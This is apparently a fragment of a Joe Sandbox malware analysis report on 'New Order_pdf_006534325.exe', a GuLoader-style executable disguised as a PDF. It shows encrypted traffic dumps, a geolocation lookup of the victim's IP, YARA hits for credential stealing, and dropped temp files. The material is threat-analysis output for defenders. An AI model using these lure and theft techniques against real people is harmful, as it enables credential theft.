xm5=&oSb%^dE_DOI((&#7*+pj]@3P^)NKo7GxCOkwak~zkUE.`^RBxnt0~!tYe_fb#j\Fm>{rMPT1w$HR"Y's`f
2025-02-05 11:52:21 UTC	1323	IN	Data Raw: 73 36 c8 29 e6 9d c2 10 56 1a 3b af ff 28 68 a4 30 f7 94 8b dc 71 2a c8 06 e3 cb 69 fc 76 7a df 45 75 20 00 af d1 87 39 91 58 d5 1f b2 fa ee c4 0c 82 6e 4f 65 07 d6 5c e5 c9 99 e8 22 39 1f aa bf 4c 46 8b 05 e2 6d d8 20 79 89 82 78 45 f9 bd ea a5 8f 96 fa d4 d2 e5 b7 d2 5f ae 21 9b 09 3c be 70 e3 12 09 14 86 a6 f1 83 24 4a 49 76 b3 4f 26 4e f8 b6 bc 0e 68 80 ea ac 06 1d 81 c4 03 5a e3 53 16 61 a0 dd fd 4e 44 f8 d9 39 aa eb a4 7e 0c d5 f5 85 c6 e2 5b 02 ec 6a a5 65 ad e5 26 01 6b 71 fd a8 cf 62 cd 44 65 55 74 78 31 41 bf da 3b 2a ac 53 a9 5a 85 60 d1 34 3f af cd b3 cc 49 5f 6e 61 97 e0 83 7e e5 97 bf 8c 9d 00 66 4a b0 eb 42 72 8d 2d 25 52 62 db e9 b4 d0 e2 3d 9b a0 d5 8d ef bf 50 51 b6 1d de 17 7c f3 0f 51 8f a3 60 d4 80 81 14 9d 4a e0 19 92 23 7d fd 12 ef Data Ascii: s6)V;(h0qivzEu 9XnOe\"9LFm yxE_!<p$JIvO&NhZSaND9~[je&kqbDeUtx1A;SZ`4?I_na~fJBr-%Rb=PQ\|Q`J#}
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: 65 f2 f5 89 6c f0 57 52 a2 5a 79 37 11 cf 07 52 d1 d4 6d a7 05 02 0e a2 c6 dc 04 6c 5e 3d 00 f0 53 44 df 9b fe 60 af 26 cc 4f 46 c3 9d 19 39 d6 39 d4 b0 8a 4d b8 6a 06 81 8b a6 d3 0f d1 0a 98 f1 6a f0 78 cb ff 4e 02 30 5c ad a4 ab 75 f7 1a ba d9 b6 f8 ea 1d 62 9e 1c 1d 58 d5 a6 fe c7 15 d3 e8 28 2e 1e c2 b2 37 0c 8f 14 e2 47 e9 6b 79 83 06 5f 96 f9 b9 e0 b7 8f bb aa bd af a2 a4 d7 4a a9 0e 71 9a 33 ac 76 35 d6 05 14 8c c0 d2 82 24 4e 43 76 45 4f 0d 4c eb 86 94 0f e2 80 ea ae 22 00 81 af 94 58 97 15 16 61 a4 b8 9e 44 44 b8 f2 6d aa c7 ae 74 1b c6 82 4e c2 ce 5c 0b 8d a1 9a 65 a9 cc d7 17 19 bb e8 a8 bf c2 93 19 17 89 65 06 12 e3 9a c8 61 86 b9 53 d3 f3 a7 6a a6 31 2c 83 b0 13 bb 17 4c 6a 7f 32 a4 83 7e ee b2 a9 f2 40 7b 2e 40 c2 df 2a 21 fd 42 cf 7a 36 d1 Data Ascii: elWRZy7Rml^=SD`&OF99MjjxN0\ubX(.7Gky_Jq3v5$NCvEOL"XaDDmtN\eeaSj1,Lj2~@{.@*!Bz6
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: 3a 8d bf 21 a6 db be 98 7d 0b 32 cc 35 96 d2 90 10 26 36 73 d4 b6 22 63 a7 30 81 94 8b dc 62 21 d9 08 ce 3e 69 f0 7e 6e f2 ba 70 0c 43 be d8 1f 43 e1 2b 3c 1d b6 f8 fd b3 56 8f f4 58 43 c4 d8 2f 00 b4 d3 e2 31 32 0b b2 ac 39 7e cd 1f e6 1f cc 87 79 89 8c 47 40 96 4d e0 a5 87 80 64 ac a1 da fd c8 5b dc 0b aa 44 3c b4 67 da d1 18 0d ff 2a bd 83 2e 5d 5b 67 8b 20 d4 4e eb 8c 09 1d e1 91 f9 bb f8 0a 57 58 5a 58 98 14 05 75 b2 b0 bb 3c a6 f7 f1 1d b9 fd bf 66 1b d2 e7 85 d1 a1 a5 00 97 26 83 74 bd db 63 21 bb 7b fd a8 31 61 a5 19 74 42 63 1f 73 58 93 d6 05 6d b4 53 88 54 82 64 c7 3d 3a 92 d3 a6 6d 10 45 78 76 a4 0c b5 7c ef 97 ae 98 8e 60 bf 55 90 de 2b 30 99 3c 34 eb 29 a4 c6 b0 cd fe 3f 86 20 cc 9c 1c bc 3d e7 b7 36 db 29 bb ef 1e 47 9c be 71 cb c2 34 15 9d Data Ascii: :!}25&6s"c0b!>i~npCC+<VXC/129~yG@Md[D<g*.][g NWXZXu<f&tc!{1atBcsXmSTd=:mExv\|`U+0<4)? =6)Gq4
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: d1 7b 01 c8 05 dd 35 79 c0 7d 69 fc 54 70 0c 79 ad d4 18 50 ee 05 cc 70 4e f8 ec b5 35 34 75 4b 3d c3 fe dd ef b4 d9 fe dc 3c 11 bb 91 33 1b 81 2e e3 6f b5 61 52 89 80 7a 96 f9 a6 d0 a3 8d 81 75 bd af 99 b7 d2 4a ac 21 92 fa 27 be 04 e3 8a 09 14 86 d0 ab 0e 7d 4e 49 77 95 48 0e b7 eb 86 b4 18 0c 81 e7 a5 31 18 90 d0 2f 51 8c 06 12 61 9c 7e ae 4e 44 f2 83 b5 b1 eb de 6a 79 3c f1 94 c8 c9 7e fb 97 2c af 4d 55 cd f2 0b 78 7d ec ae a0 9d b6 0e 6f 46 78 2d 21 50 b7 bf 6d 7e ac 59 8b 6b 82 73 de 36 33 92 c9 c5 2a 03 5f 6f 76 b5 25 89 11 11 97 bf 86 8c 70 3f 41 a3 e3 2d 2d a1 34 3e 70 59 24 e9 be d6 fd 41 9d b0 d3 ab 8d bc 2a 19 bc 35 b0 3f a8 f9 03 5b 8f a3 71 de 94 4d 14 9d 44 8d 47 83 2e 5a 65 98 f8 23 7f e3 5a 1a 70 6e 11 44 6f c4 5b 54 56 72 de f6 21 39 83 Data Ascii: {5y}iTpyPpN54uK=<3.oaRzuJ!'}NIwH1/Qa~NDjy<~,MUx}oFx-!Pm~Yks63_ov%p?A--4>pY$A5?[qMDG.Ze#ZpnDo[TVr!9
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: 82 b0 5b 68 fd e5 5c ef be c0 e6 22 15 48 bc bd 3d d2 8b 05 cc 2e bf 6b 79 89 86 50 96 ea bd e0 a5 da 92 74 bd c5 a9 b7 d2 4b ac 23 e0 00 3c be 75 d0 f0 0d 14 f0 da bd 83 17 4e 49 67 99 50 3a 66 32 86 be 04 80 96 f7 ac 52 35 cb d5 03 52 92 15 10 49 5d a3 ae 44 4f f5 c8 2b ab eb ae 72 79 11 f1 94 c4 c2 5e 72 c7 30 a5 15 c6 1f f2 01 6d 5d f5 c7 1c 60 b6 08 72 8f 63 00 74 52 b8 e8 04 7f ac 53 ab 40 85 01 8a 39 3a f3 af 64 b7 03 59 63 6d ae 33 f1 0a f3 97 cf e3 4a 7b 2e 4c a3 eb 34 30 8a 5f bd 66 36 ab 86 6b dc ea 28 8e b4 c2 a4 ca 2e 2b 19 b0 0e d2 2e a0 df 4c 5d a7 a7 61 d6 f1 a2 11 9c 4e 94 25 94 22 77 df 6e 7b 32 77 90 58 13 61 66 29 b7 7f df 24 54 5c 64 21 98 33 32 92 b5 43 7c 4a 57 8b 74 72 4c f5 88 2f ad 8e 3f f9 ab e1 00 2f f9 e5 a7 08 e0 e8 1a f1 b3 Data Ascii: [h\"H=.kyPtK#<uNIgP:f2R5RI]DO+ry^r0m]`rctRS@9:dYcm3J{.L40_f6k(.+.L]aN%"wn{2wXaf)$T\d!32C\|JWtrL/?/
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: f9 b5 f1 a2 ff cd 68 bd df c7 62 d2 5b aa 2e e8 55 3b cc 00 d7 c0 79 7b 59 db bd 85 37 4a 41 67 9e 3d b4 52 eb f6 d1 db f2 80 ec bf 27 0c 84 fd 90 58 98 13 05 69 b5 ab 82 0d 42 da f5 6c aa e1 c1 71 0b c6 fb fb c4 cf 56 0a bf b8 a5 65 af de fb 10 62 6f 03 a9 dc 6a a7 04 73 ab 71 15 69 50 b4 fc 05 56 07 53 a3 5b 93 76 bb 7a 3a 83 ca a0 be 2b ca 6e 65 b9 27 86 7e ef 97 94 ac 9f 53 85 4a b0 e5 34 30 8a 5f bd 66 36 ab 86 6b dc ea 28 f2 ee d3 a1 e8 95 97 19 b6 1b c9 3a a8 e2 0b 29 6d a6 60 a6 ed e5 95 9d 4e 94 5c 6c 20 66 d0 34 0d 37 77 e6 5d 32 f1 6f 3d 43 68 32 2d 1a 45 7e ce 95 0c 74 9e 33 50 6a 62 fd ae 62 0a 81 e4 e7 00 0f ab 22 e1 00 ec 8d 5d db f6 b4 7d 42 cd 03 cb 97 e2 c2 79 33 69 ed 8b 00 8a 63 e8 45 84 10 4a ee 40 c9 8a 46 54 b1 87 4c f9 ac da 7a f4 Data Ascii: hb[.U;y{Y7JAg=R'XiBlqVebojsqiPVS[vz:+ne'~SJ40_f6k(:)m`N\l f47w]2o=Ch2-E~t3Pjbb"]}By3icEJ@FTLz
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: 66 e2 76 99 45 2e 5f ec f4 2c 12 f2 f0 85 79 22 1d 87 ba 5c 58 98 1f 3e dd a4 a3 a8 5d 41 f2 e0 69 d8 09 ab 74 7a d0 d9 15 c2 ce 5c 16 69 2f b4 60 db 2f f7 01 1b 6d d5 29 cf 60 bc 18 9b 56 2f 15 6e 50 b3 fc 5e 63 21 6c a3 51 83 56 c2 57 e6 97 c0 c1 15 26 48 67 c7 9a 2c f1 5c fa 97 cf 2e ba 62 3f 4e 12 ca 26 53 b1 38 2f 0a 94 fe f2 af d9 48 0b 81 c3 12 83 e2 cd 89 31 17 1d da 35 bb fe 71 54 8f a3 64 c7 f6 e5 5e 9d 4e 94 ca 9d 23 77 d1 46 ef 23 70 81 9d 09 77 7e 3a 58 78 f2 ce bb a9 8d df 99 fe 29 a6 96 5c 6a 62 f6 98 7a 78 75 a2 e7 70 a7 50 35 e8 88 88 89 2f f9 e3 b4 0d e0 fb 1a da 93 17 e6 63 41 3f f9 8b 70 38 46 f3 54 c5 b2 6f f3 29 dd ae 46 58 12 af ed ca ac d0 78 f9 cf f6 63 4f 3e 0e 10 b9 a8 8d 7f 96 98 2b da fd 6a 7f 35 35 e2 e5 45 93 76 fc 21 3a ea Data Ascii: fvE._,y"\X>]Aitz\i/`/m)`V/nP^c!lQVW&Hg,\.b?N&S8/H15qTd^N#wF#pw~:Xx)\jbzxupP5/cA?p8FTo)FXxcO>+j55Ev!:
2025-02-05 11:52:21 UTC	1390	IN	Data Raw: 4b f2 f1 69 bb e6 86 3e 0a c6 fb 14 cd ce 56 04 97 2c b4 62 be 1b e1 06 7a 7c ec ae f1 80 48 f1 9a 55 70 d8 72 64 97 e3 13 7e a6 40 ad 51 aa 21 d4 25 30 5d c0 b1 9d 42 43 6e 65 bf 34 83 7e fc 97 bf 8c c8 7a 2e 4a da ee 3c 21 9d 2d 2f 7a 72 db e9 bf c7 da 2a 9d cd d2 a1 e2 8e 2b 19 a7 1d c5 23 80 2a 0f 5b 85 d1 ef f3 fb bd 3c d7 4e 9e 40 98 23 71 fd bf ef 32 7d 9d 4c 23 36 6e 3d 49 78 bf f9 45 56 74 d3 91 52 69 9f be 1f 05 b0 fc 8b 72 5e 55 9f 34 70 ad 88 22 32 b1 cf 83 3c fe db a3 0c e0 e8 12 cb 94 32 b9 7f 41 25 97 5e 70 28 40 fe 5c 90 b5 1d 86 2e ed da 29 f1 13 af eb ea a8 d8 78 fe a2 78 57 96 4e 61 cf cb 81 a8 6c e3 a1 64 f2 6e 60 75 33 20 c2 0d 4d bf 3f f1 0e 07 ad c4 7f c3 25 eb 66 a1 e2 ca 12 79 34 71 25 86 64 df 87 cf 08 87 9c a2 d5 22 89 59 8e 31 Data Ascii: Ki>V,bz\|HUprd~@Q!%0]BCne4~z.J<!-/zr+#[<N@#q2}L#6n=IxEVtRir^U4p"2<2A%^p(@\.)xxWNaldn`u3 M?%fy4q%d"Y1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	104.21.48.1	443	7848	C:\Users\user\Desktop\New Order_pdf_006534325.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-05 11:52:24 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-02-05 11:52:24 UTC	859	IN	HTTP/1.1 200 OK Date: Wed, 05 Feb 2025 11:52:24 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 4071133 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RtevgDYbUmzCRz%2BmtassnLfTvEG2KYxV40TJda1OWLERO5OFBR0S6VBzefX%2FvX4zaCR5U1Bvz%2BqENRqWNTdIgMROUIcJzcDX9rTlkMNUhbhA%2FCeu%2BRHEduvmGlC5tYTm6FLot7PA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90d2b1afba198c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&min_rtt=1757&rtt_var=686&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1563169&cwnd=239&unsent_bytes=0&cid=bf396141b83d6ee0&ts=159&x=0"
2025-02-05 11:52:24 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Target ID:	0
Start time:	06:51:11
Start date:	05/02/2025
Path:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order_pdf_006534325.exe"
Imagebase:	0x400000
File size:	829'138 bytes
MD5 hash:	502A5D91B19D266D46F6BF270A3CE0C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1893856567.0000000003741000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:52:00
Start date:	05/02/2025
Path:	C:\Users\user\Desktop\New Order_pdf_006534325.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order_pdf_006534325.exe"
Imagebase:	0x400000
File size:	829'138 bytes
MD5 hash:	502A5D91B19D266D46F6BF270A3CE0C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2666529008.0000000036146000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New Order_pdf_006534325.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\cocainize\Lithotriptor.huk

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\Skrabnsespils.txt

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\linielngde.pro

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\nacry.ini

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\opvkkede.ini

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\prud.jpg

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\rgerrig.txt

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\starving.jpg

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\statuerne.ini

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\tatarisk.jpg

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\udsortering.jpg

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\undisposed.aff

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\urremmenes.jpg

C:\Users\user\AppData\Local\Temp\cocainize\Posteringen\wollock.ini

C:\Users\user\AppData\Local\Temp\cocainize\Stemmepragten.Rin

Windows Analysis Report
New Order_pdf_006534325.exe